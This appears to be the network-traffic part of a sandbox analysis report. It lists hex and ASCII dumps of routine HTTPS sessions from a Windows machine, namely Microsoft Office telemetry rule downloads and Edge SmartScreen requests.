2024-11-21 21:04:56 UTC	557	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:04:56 GMT Content-Type: application/octet-stream Content-Length: 306698 Connection: close Content-Encoding: gzip Last-Modified: Tue, 10 Oct 2023 17:24:31 GMT ETag: 0x8DBC9B5C40EBFF4 x-ms-request-id: 5ce19410-001e-000a-3659-3c718e000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241121T210455Z-178bfbc474bv7whqhC1NYC1fg4000000021000000000dxve Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-21 21:04:56 UTC	15827	IN	Data Raw: 1f 8b 08 08 cf 88 25 65 02 ff 61 73 73 65 74 00 ec 7d 69 93 db 46 92 e8 5f a9 f0 97 fd e0 96 05 10 00 09 4c c4 8b 17 2d f9 92 6d f9 92 6d 8d fd 66 43 51 00 0a 24 9a 20 40 e1 60 ab 7b 76 fe fb ab cc 2c 10 09 82 07 c8 a6 bc 9e 8d 0d 5b 68 b0 8e bc eb 44 55 e6 3f 3f 59 c9 3c 4d 54 55 bf db a8 b2 4a 8b fc 93 bf 89 4f dc cf ac cf ac 4f 6e c4 27 8b 26 7c 27 d7 eb 4a 27 fe bf 7f 7e 92 c6 90 19 c5 ee d4 f7 65 f0 4c f9 be ff cc f5 95 7c 26 63 df 7e 36 9b da 81 13 7b d3 d0 0e 15 d4 cd e5 4a 41 f9 77 ef 5e bf f9 ea 1d fc 7a f7 0e d2 19 1e fb 33 fd df 0c 12 63 55 45 65 ba ae 4d 06 d5 61 89 54 75 a9 1e 20 f7 f5 ab 57 2f 5e dd dd 7e ff 62 be 7c bf 58 a6 5f 05 f7 d6 8b db 9f be f8 f2 f6 f6 87 97 b7 3f f9 b7 90 ff 72 fe ad 7e ff e2 76 9d 58 77 ee 57 8b 1f de ff 14 f9 fe Data Ascii: %easset}iF_L-mmfCQ$ @`{v,[hDU??Y<MTUJOOn'&\|'J'~eL\|&c~6{JAw^z3cUEeMaTu W/^~b\|X_?r~vXwW
2024-11-21 21:04:56 UTC	16384	IN	Data Raw: ee 07 cf ac 5b ca 81 54 5b 25 f6 36 51 93 15 e8 c2 2b 22 50 fc 52 36 6d 55 35 59 19 67 e4 56 be d8 2d df fd 8c 1c b1 48 e9 85 d8 d5 6f a1 88 16 05 b8 ea d5 42 20 2f c6 fa c5 ab 21 ae b4 7e 71 4c 7c 69 3b da be 2c c4 3c 45 31 58 f6 5a d0 75 29 2d 10 91 2f b6 81 a8 f1 77 27 4d cb 46 c3 d1 f2 cb e7 17 7d 3c d0 6a 30 b1 ed 19 11 24 85 30 ed b3 77 98 0a a3 d3 4d 8a a4 58 a6 1a 92 6f 39 a0 66 5b a9 58 c4 f8 d7 db 13 a4 38 9f 53 18 72 e3 d6 58 c9 9c 2a 85 f1 21 3d 9d 12 35 51 d6 f4 74 9e 6e f9 3a 6f 4c fc e5 2c 53 f9 7a 94 a9 7c 50 ab 8e d8 56 01 86 95 11 92 ce 4d 82 a9 12 26 c6 7f 9c 55 b4 0d eb a8 c4 4f 75 f1 df 12 7e 7b 85 2d 18 bd 99 6f 4d 95 18 8d 35 7f b9 51 da bc b3 17 f2 61 66 41 16 70 9d 0a 0c 87 07 e7 d4 da 16 34 27 65 eb d7 87 be 44 96 29 71 b2 3a d6 Data Ascii: [T[%6Q+"PR6mU5YgV-HoB /!~qL\|i;,<E1XZu)-/w'MF}<j0$0wMXo9f[X8SrX*!=5Qtn:oL,Sz\|PVM&UOu~{-oM5QafAp4'eD)q:
2024-11-21 21:04:57 UTC	16384	IN	Data Raw: 9d 6b d1 e4 03 44 91 0f c7 24 3e 9c a5 f8 80 ce e1 c3 bd 55 1f 7c 0d 7d f0 d6 f4 e1 f6 6d f9 6c 42 78 a7 7a 8f cf 80 2a 42 b1 ca af 46 95 01 06 85 53 be 7a 50 c8 12 ce 7e 7c 44 29 29 63 83 14 66 50 e5 69 9e ba 94 a2 14 a9 44 53 56 22 78 06 d0 d3 7d 25 3d 51 7e fc 63 e8 77 69 11 9c 24 cb 92 42 e9 e0 d4 ac cc c6 c2 0a 92 55 72 f4 61 88 91 31 1f 4c 69 b4 9b 0f a5 64 32 91 6a 99 5a 87 05 9b b8 18 4d b6 69 0c 05 60 46 80 c2 34 75 85 d5 88 cf a4 31 10 78 28 99 44 01 7e 6d 51 37 26 3d f1 aa c8 64 77 98 90 c3 4a 88 b9 d5 8c 73 bc 9b 5c 69 65 23 a6 fb 16 9b 26 25 05 ac fc cc 1e 87 56 e3 bd 7f 86 8d d9 de 4d 93 29 aa 7c fe d1 06 5b da c5 90 55 b0 c9 33 35 1b d9 51 ad b2 ea c6 9a c4 a2 90 04 54 de 86 42 2d d9 e8 78 24 ab 24 51 69 66 82 d7 44 e8 1d cf c8 e2 16 60 37 Data Ascii: kD$>U\|}mlBxz*BFSzP~\|D))cfPiDSV"x}%=Q~cwi$BUra1Lid2jZMi`F4u1x(D~mQ7&=dwJs\ie#&%VM)\|[U35QTB-x$$QifD`7
2024-11-21 21:04:57 UTC	16384	IN	Data Raw: 73 b5 e6 a0 67 39 bd 50 cf ce e5 f5 33 b4 5b f6 96 18 f6 1d 3d 5b 1c 62 ee 08 9c b4 27 31 5c bf 95 0d 07 a0 cf bc bf ec e9 f3 e3 25 7d d1 cd 7e e8 fe 69 3f 94 32 74 6d 41 40 30 f4 9d 21 ef 18 ab 09 e0 e5 30 bf 56 97 43 99 8d fb 5c b1 3a 15 2a 0c 9d 5f c9 d3 47 70 60 b0 6e 17 9c 16 bc 33 94 8f dc 87 1c 2e 65 5f 80 b0 c7 e2 bb 6a f4 3b c8 60 00 83 b2 83 02 16 e1 3f 69 68 e4 62 45 17 99 ba 9d 9d b7 00 7d 2a 5a 5f 88 af 8b 22 5d 84 79 61 b8 38 c9 2f d4 62 3c 2f ee 0a 38 04 98 69 d8 af 45 cf 43 a8 9b 3e 6e dd 69 b8 01 0b 4d c5 2a d4 d8 5d 7a b1 5f 94 d0 5d 79 e7 c9 87 c6 d5 b9 5d 89 1b 44 f3 5a 14 67 85 e9 1a ef c2 74 b9 63 86 3e c2 71 a7 08 94 eb 44 58 ad 1a 5c 09 02 5c 4d 1b c8 2c 53 c1 71 b8 50 80 6e 30 91 49 05 4e 42 60 22 53 9e 67 6f 08 ac 30 cf 05 cd b5 Data Ascii: sg9P3[=[b'1\%}~i?2tmA@0!0VC\:_Gp`n3.e_j;`?ihbE}Z_"]ya8/b</8iEC>niM*]z_]y]DZgtc>qDX\\M,SqPn0INB`"Sgo0
2024-11-21 21:04:57 UTC	16384	IN	Data Raw: 7f 7f fe e2 4d 8e 52 97 9f 5c d2 a4 d2 9b 7f 21 19 ca ff db 31 e3 e4 f2 51 b8 7c 74 b3 4c aa e5 59 09 49 a3 cf 51 d6 87 a5 4c 6d 23 e7 30 3b 3e ce a2 ff dd d2 a2 4d 1f 0e 14 fd d7 52 7f fd 1c ea cf 13 55 dc a3 6d 85 4b 4e 63 b4 12 03 65 33 26 36 bd 72 f4 19 04 1a d9 86 f6 84 1c dd 9e ee 21 e8 65 4d aa 2f f0 f8 0a fb d1 85 1e 53 4d 3f 5f a5 fc d4 0d f8 28 79 f7 b1 c1 a5 fc 51 df bc 30 df bf cb 6f cb 2a 09 d7 1f 99 f4 19 6a 7e d9 a5 f8 7e 7b c5 59 31 55 b2 99 9f 7d 02 06 e8 6e c6 98 ec a9 7c 3f 2a 1d 34 e5 bd 0a 8f e7 88 3e 74 c3 0b e7 6b 10 2c 4f 53 5d 7c 86 e2 09 77 99 7d ee 02 3a 9d f3 a7 29 a2 13 79 ee 15 d2 a7 37 fd 67 b6 f7 67 33 72 df b2 23 59 ef 55 5d e5 6f cb 55 7e 43 6c b7 99 fc 2e 56 9e 6f 2b 5e 74 f2 ea 6e 17 ed 6d 37 04 2d f5 5a 8e f8 43 2b c3 Data Ascii: MR\!1Q\|tLYIQLm#0;>MRUmKNce3&6r!eM/SM?_(yQ0oj~~{Y1U}n\|?4>tk,OS]\|w}:)y7gg3r#YU]oU~Cl.Vo+^tnm7-ZC+
2024-11-21 21:04:57 UTC	16384	IN	Data Raw: c3 9c 0b 06 79 cd 66 e0 72 84 3b 54 b9 74 ef 35 53 7d 3b 8c b0 a9 fd 1b 50 a9 de 74 45 72 7e 1b f0 2a c4 ee 75 56 a9 f1 4f 0b e2 ef 4c 0e 04 e6 c1 13 43 d1 a3 91 83 19 d3 3d c4 08 0f b5 d5 e1 f0 41 7b 02 cf 94 80 35 8c 5f 5f 02 90 85 fa 86 bb ab e1 02 93 a8 c3 01 b8 10 ce 1a 84 70 ba 2a 74 48 e2 74 7c 83 87 f5 42 38 70 15 c2 ce 65 08 08 86 a0 47 21 98 5b b8 58 62 21 c8 96 0d 6c 09 61 e7 32 c4 b3 5e a1 8d a0 20 7d 39 b0 28 5c c6 6d 21 84 b7 80 4c dc 70 c4 2e c4 f3 19 21 9c 8e d6 1f 96 d8 f4 9d 32 40 37 a4 47 84 1e d1 c7 65 89 5f 63 82 1d d4 5a 86 2d e5 f8 15 59 45 61 ea 67 ab 2d d9 61 85 e3 91 0f 94 e7 67 25 02 3d 4f 28 55 ad 17 c6 a0 29 6a 5d 21 2a cd 7e af 45 5e 0b 01 e5 6c bb ed 07 fa bc 5c f7 4e 60 6b e1 20 c2 ba 99 b8 6d 1e 51 d5 3c d5 da e1 b5 2c a1 Data Ascii: yfr;Tt5S};PtEr~uVOLC=A{5__ptHt\|B8peG![Xb!la2^ }9(\m!Lp.!2@7Ge_cZ-YEag-ag%=O(U)j]!*~E^l\N`k mQ<,
2024-11-21 21:04:57 UTC	16384	IN	Data Raw: 62 01 a8 b8 2e 41 68 d5 3e af 78 77 09 5e a1 a8 7e 3d bf 65 90 da ff 6d 58 c3 e3 86 29 f6 22 00 98 2a 9c 68 97 65 63 ac 5c ad 09 2b 23 82 8f 3f 2b 34 4c 1f 01 76 0d 06 ed 44 0f a9 a0 b1 63 30 c2 0d f2 ad 15 f9 9d a6 73 4a 64 c6 38 b2 91 d1 0a 38 ec f1 61 a5 51 a1 65 d6 96 da 34 5b b9 be df 70 92 06 98 c1 37 67 b8 7a fd 34 cd 5e 44 c0 aa b0 27 6e 0c f2 e2 f9 5e 7c 0a 17 b4 b4 16 73 66 52 b2 05 40 56 84 20 c3 90 88 0a 5a 8e f1 3d 96 59 b7 5f a7 63 31 3c 17 3a a9 04 30 4b 80 0e 09 8b 60 e1 5d df da 55 e1 6d 20 56 de 3a 5a 4e 4e 36 25 71 5c 12 7e f1 93 97 31 94 a1 29 89 f2 0a 40 a9 02 bf 55 03 2f 98 74 5f 78 73 cb c5 29 4c e9 ad ef d3 e0 e9 ec 15 b9 9a 03 cf 91 db 7e f5 f0 08 3e bd 4a a1 b3 a7 63 d1 45 bf 50 93 bc bc 7d c3 e9 75 22 5d 68 d9 1e 50 8f 5c 23 a1 Data Ascii: b.Ah>xw^~=emX)"*hec\+#?+4LvDc0sJd88aQe4[p7gz4^D'n^\|sfR@V Z=Y_c1<:0K`]Um V:ZNN6%q\~1)@U/t_xs)L~>JcEP}u"]hP\#
2024-11-21 21:04:57 UTC	16384	IN	Data Raw: 75 5c b5 f2 6d d4 e3 16 ed 7d 0a 76 94 c1 8e a7 30 9e 08 64 07 27 9d 18 c0 52 7d e4 67 ff 5d dd ba 83 b1 dc 5d 98 95 9f fd f7 4f 5a 26 c7 8a 7a a4 2b 67 ea ac d1 ee 4b f3 ee 5b 7c 55 87 5f ce 64 5a d1 d6 85 f4 9d 84 43 1d a5 d1 4e 33 c2 52 b6 ac ef d9 7f de 15 61 44 a2 b6 4f fe 03 39 27 95 29 d1 71 16 47 ff 7e 40 2f ff 09 6e 49 c5 ba 2c 58 72 fd b4 fc 2b 2f d4 a3 80 7f e2 4e fd ca 3b f8 f4 09 87 9a 38 33 24 7f 45 a2 7e d3 4f 4e 87 8c cb 8b 02 7f df 7f ff 57 75 a1 22 3d 51 a9 78 41 7d 1b c5 f8 9b d0 7f 72 fc 7d ff 85 6a 70 ab 5e dc aa 41 ca 56 bd b0 55 00 76 02 c7 a0 ea 57 7d b2 c3 fb 0a b5 58 bd 1f ab f6 63 d5 ec bd 82 b3 c7 5f d5 89 ed 15 3f f6 0a e5 7d 86 bf 7b f2 4f 82 f3 1a ea 09 06 a9 c9 03 c6 95 ea 57 bd 73 50 18 1d 54 fb 07 d5 da 41 bd 99 aa 6f 53 Data Ascii: u\m}v0d'R}g]]OZ&z+gK[\|U_dZCN3RaDO9')qG~@/nI,Xr+/N;83$E~ONWu"=QxA}r}jp^AVUvW}Xc_?}{OWsPTAoS
2024-11-21 21:04:57 UTC	16384	IN	Data Raw: f9 9e 4a 6a 38 c3 9d 71 93 60 68 53 6d 70 93 f4 d8 cb 92 d6 1c 64 0c 55 29 d1 f7 86 61 3a 23 da d5 06 e4 b2 85 18 31 bb 0e 46 71 38 52 33 8f 24 f5 9e 43 1a 6d 32 5a be 90 91 0a d3 47 69 32 eb 74 ec 30 03 b3 0a 2f 45 60 14 c3 56 8c 9b d3 2c f6 4c cc 87 6e 54 d0 da 28 ed 5d 8d 3a 4d 4a aa f1 2e 74 2f 9f 56 e9 a4 49 86 4c 15 33 4f 70 79 ad 9c 27 57 fe 5f f1 b5 af dc 2b a5 7e 6a ff d6 06 bc 0c 5d f6 df fe e1 b9 f2 44 21 e0 ef 42 ef 50 c9 9d 6d c4 b7 e0 a2 c1 1c b4 2f 36 29 c7 0d cd c5 5f 01 b2 80 f3 b0 10 3b 89 01 c5 9d d8 7c 07 2e 18 db 27 d6 4f f2 63 9c b0 f6 f2 ae c9 8b 6c b2 c4 37 76 c1 ad 55 68 26 ab 9f 6e 0d f6 97 8b d0 7b ae f0 47 ed 5d 9f e5 af 8e d0 8d 25 c1 76 f1 dc 48 82 c0 c8 4e c8 12 40 65 5d 3f 2f 1b ab ff 79 9a 2b b3 79 5d 62 4f 7c d5 ff 34 22 Data Ascii: Jj8q`hSmpdU)a:#1Fq8R3$Cm2ZGi2t0/E`V,LnT(]:MJ.t/VIL3Opy'W_+~j]D!BPm/6)_;\|.'Ocl7vUh&n{G]%vHN@e]?/y+y]bO\|4"
2024-11-21 21:04:57 UTC	16384	IN	Data Raw: 49 98 d9 64 0e 08 ef 71 ff 50 b9 f3 86 37 4a 22 88 52 55 4a 91 92 53 0e 3c c2 3f 65 33 a3 28 fd 5a 9a 2e 91 76 ec f5 34 94 dc 1a 84 a2 be c1 0e 7a 8b 67 39 3e 58 c7 23 2c 7e 30 2a a9 04 8f 00 e5 ea b9 90 8e 19 22 31 4f 88 ac 1a 1f 76 bd 44 ab b4 23 ff 6a 0e 16 d3 4b 19 b1 5f 46 1a 8c 28 02 0b 82 4d 75 9f bc a7 ab d3 c0 ac 12 2c 1a e1 ca 61 62 a5 73 bf 90 ea 26 30 cc b6 60 ae a5 03 4b 60 ea 7c b9 bf 27 e4 0d 14 35 5a 3a 2d d3 09 b2 1d da a4 23 ee 1b c6 42 eb 6f 46 58 98 31 2d 33 81 d2 c7 b9 ea 4a e4 45 53 f8 1b 85 d6 9a f9 1c dd e5 4a cf 08 96 59 af e8 ce 28 b3 02 0e 0d ee 14 62 4a 58 2a 40 44 d3 12 5b 39 93 33 26 50 17 82 cc e2 88 1a 71 ab dd fe 3c 12 6a 79 40 5e 32 8d a6 25 53 15 5e 3f 60 3e a6 cb e9 d4 75 42 52 43 29 e8 e5 94 bf 82 e4 a6 c8 40 37 67 5f Data Ascii: IdqP7J"RUJS<?e3(Z.v4zg9>X#,~0"1OvD#jK_F(Mu,abs&0`K`\|'5Z:-#BoFX1-3JESJY(bJX@D[93&Pq<jy@^2%S^?`>uBRC)@7g_

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.7	49879	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:55 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:04:56 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:04:55 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: c1a1f15b-901e-005b-358c-3a2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T210455Z-178bfbc474brk967hC1NYCfu6000000001t000000000mc9d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 21:04:56 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.7	49882	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:55 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:04:56 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:04:55 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 3994331f-f01e-0071-696c-3b431c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T210455Z-174c587ffdf59vqchC1TEByk6800000000q00000000075ah x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:04:56 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.7	49884	4.153.29.52	443	1180	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:55 UTC	723	OUT	POST /api/browser/edge/data/bloomfilter/x/3 HTTP/1.1 Host: data-edge.smartscreen.microsoft.com Connection: keep-alive Content-Length: 746 Accept: application/octet-stream;application/x-patch-bsdiff; Authorization: SmartScreenHash eyJhdXRoSWQiOiI0MWE0MzhiYy0xMjQ5LTQzZDMtYTI2ZC02OWNkNjJjMDgzMTciLCAia2V5IjoianhEalBuQ2t3S1k4alJkSW5PbUdTUT09IiwgImhhc2giOiIrREY0STJLVng1ND0ifQ== Content-Type: application/json; charset=utf-8 If-None-Match: "636976985063396749.rel.v2" Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br
2024-11-21 21:04:55 UTC	746	OUT	Data Raw: 7b 22 69 64 65 6e 74 69 74 79 22 3a 7b 22 75 73 65 72 22 3a 7b 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 7d 2c 22 64 65 76 69 63 65 22 3a 7b 22 69 64 22 3a 6e 75 6c 6c 2c 22 63 75 73 74 6f 6d 49 64 22 3a 6e 75 6c 6c 2c 22 6f 6e 6c 69 6e 65 49 64 54 69 63 6b 65 74 22 3a 6e 75 6c 6c 2c 22 66 61 6d 69 6c 79 22 3a 33 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 2c 22 6f 73 56 65 72 73 69 6f 6e 22 3a 22 31 30 2e 30 2e 31 39 30 34 35 2e 32 30 30 36 2e 76 62 5f 72 65 6c 65 61 73 65 22 2c 22 62 72 6f 77 73 65 72 22 3a 7b 22 69 6e 74 65 72 6e 65 74 5f 65 78 70 6c 6f 72 65 72 22 3a 22 39 2e 31 31 2e 31 39 30 34 31 2e 30 22 7d 2c 22 6e 65 74 4a 6f 69 6e 53 74 61 74 75 73 22 3a 32 2c 22 65 6e 74 65 72 70 72 69 73 65 22 3a 7b 7d 2c 22 63 6c 6f 75 64 53 6b Data Ascii: {"identity":{"user":{"locale":"en-GB"},"device":{"id":null,"customId":null,"onlineIdTicket":null,"family":3,"locale":"en-GB","osVersion":"10.0.19045.2006.vb_release","browser":{"internet_explorer":"9.11.19041.0"},"netJoinStatus":2,"enterprise":{},"cloudSk
2024-11-21 21:04:56 UTC	248	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:04:55 GMT Content-Type: application/octet-stream Content-Length: 57 Connection: close Server: Kestrel ETag: "638343870221005468" Request-Context: appId=cid-v1:7b18f7b7-44a8-4212-9aac-12b29c628ff9
2024-11-21 21:04:56 UTC	57	IN	Data Raw: 39 00 00 00 0a 00 00 00 6d 75 72 6d 75 72 33 00 0d 00 00 00 e7 00 00 00 0c 00 00 00 2c 4d f0 68 e4 05 e3 5a 14 87 bb 38 10 5c e2 c4 94 3c 26 4c 69 f1 48 99 f4 5b b2 3f 6d Data Ascii: 9murmur3,MhZ8\<&LiH[?m

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.7	49885	4.153.29.52	443	1180	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:56 UTC	698	OUT	POST /api/browser/edge/data/settings/3 HTTP/1.1 Host: data-edge.smartscreen.microsoft.com Connection: keep-alive Content-Length: 725 Accept: application/octet-stream;application/x-patch-bsdiff; Authorization: SmartScreenHash eyJhdXRoSWQiOiI0MWE0MzhiYy0xMjQ5LTQzZDMtYTI2ZC02OWNkNjJjMDgzMTciLCAia2V5IjoiNmhHUDBFOGhLTERQb2drUkJtdE1SQT09IiwgImhhc2giOiIzS1NFVlJNcXUrdz0ifQ== Content-Type: application/json; charset=utf-8 If-None-Match: "2.0-0" Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br
2024-11-21 21:04:56 UTC	725	OUT	Data Raw: 7b 22 69 64 65 6e 74 69 74 79 22 3a 7b 22 75 73 65 72 22 3a 7b 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 7d 2c 22 64 65 76 69 63 65 22 3a 7b 22 69 64 22 3a 6e 75 6c 6c 2c 22 63 75 73 74 6f 6d 49 64 22 3a 6e 75 6c 6c 2c 22 6f 6e 6c 69 6e 65 49 64 54 69 63 6b 65 74 22 3a 6e 75 6c 6c 2c 22 66 61 6d 69 6c 79 22 3a 33 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 2c 22 6f 73 56 65 72 73 69 6f 6e 22 3a 22 31 30 2e 30 2e 31 39 30 34 35 2e 32 30 30 36 2e 76 62 5f 72 65 6c 65 61 73 65 22 2c 22 62 72 6f 77 73 65 72 22 3a 7b 22 69 6e 74 65 72 6e 65 74 5f 65 78 70 6c 6f 72 65 72 22 3a 22 39 2e 31 31 2e 31 39 30 34 31 2e 30 22 7d 2c 22 6e 65 74 4a 6f 69 6e 53 74 61 74 75 73 22 3a 32 2c 22 65 6e 74 65 72 70 72 69 73 65 22 3a 7b 7d 2c 22 63 6c 6f 75 64 53 6b Data Ascii: {"identity":{"user":{"locale":"en-GB"},"device":{"id":null,"customId":null,"onlineIdTicket":null,"family":3,"locale":"en-GB","osVersion":"10.0.19045.2006.vb_release","browser":{"internet_explorer":"9.11.19041.0"},"netJoinStatus":2,"enterprise":{},"cloudSk
2024-11-21 21:04:56 UTC	302	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:04:56 GMT Content-Type: application/octet-stream Content-Length: 130439 Connection: close Server: Kestrel ETag: "2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1" Request-Context: appId=cid-v1:7b18f7b7-44a8-4212-9aac-12b29c628ff9
2024-11-21 21:04:56 UTC	16082	IN	Data Raw: 7b 0d 0a 20 20 22 67 65 6f 69 64 4d 61 70 73 22 3a 20 7b 0d 0a 20 20 20 20 22 61 75 22 3a 20 22 68 74 74 70 73 3a 2f 2f 61 75 73 74 72 61 6c 69 61 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 63 68 22 3a 20 22 68 74 74 70 73 3a 2f 2f 73 77 69 74 7a 65 72 6c 61 6e 64 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 65 75 22 3a 20 22 68 74 74 70 73 3a 2f 2f 65 75 72 6f 70 65 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 66 66 6c 34 22 3a 20 22 68 74 74 70 73 3a 2f 2f 75 6e 69 74 65 64 73 74 61 74 65 73 31 2e 73 73 2e 77 64 2e 6d 69 63 72 6f 73 6f 66 74 2e 75 73 2f 22 2c 0d 0a Data Ascii: { "geoidMaps": { "au": "https://australia.smartscreen.microsoft.com/", "ch": "https://switzerland.smartscreen.microsoft.com/", "eu": "https://europe.smartscreen.microsoft.com/", "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",
2024-11-21 21:04:56 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 30 39 63 34 37 36 32 37 62 63 35 33 33 62 35 39 32 34 61 30 35 35 61 30 34 62 63 34 63 33 33 65 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 39 2e 35 38 33 34 34 30 31 37 37 34 34 37 38 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 65 36 33 34 65 62 32 30 64 62 35 30 38 65 33 61 33 31 62 36 31 34 38 31 61 32 35 31 62 66 39 33 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 30 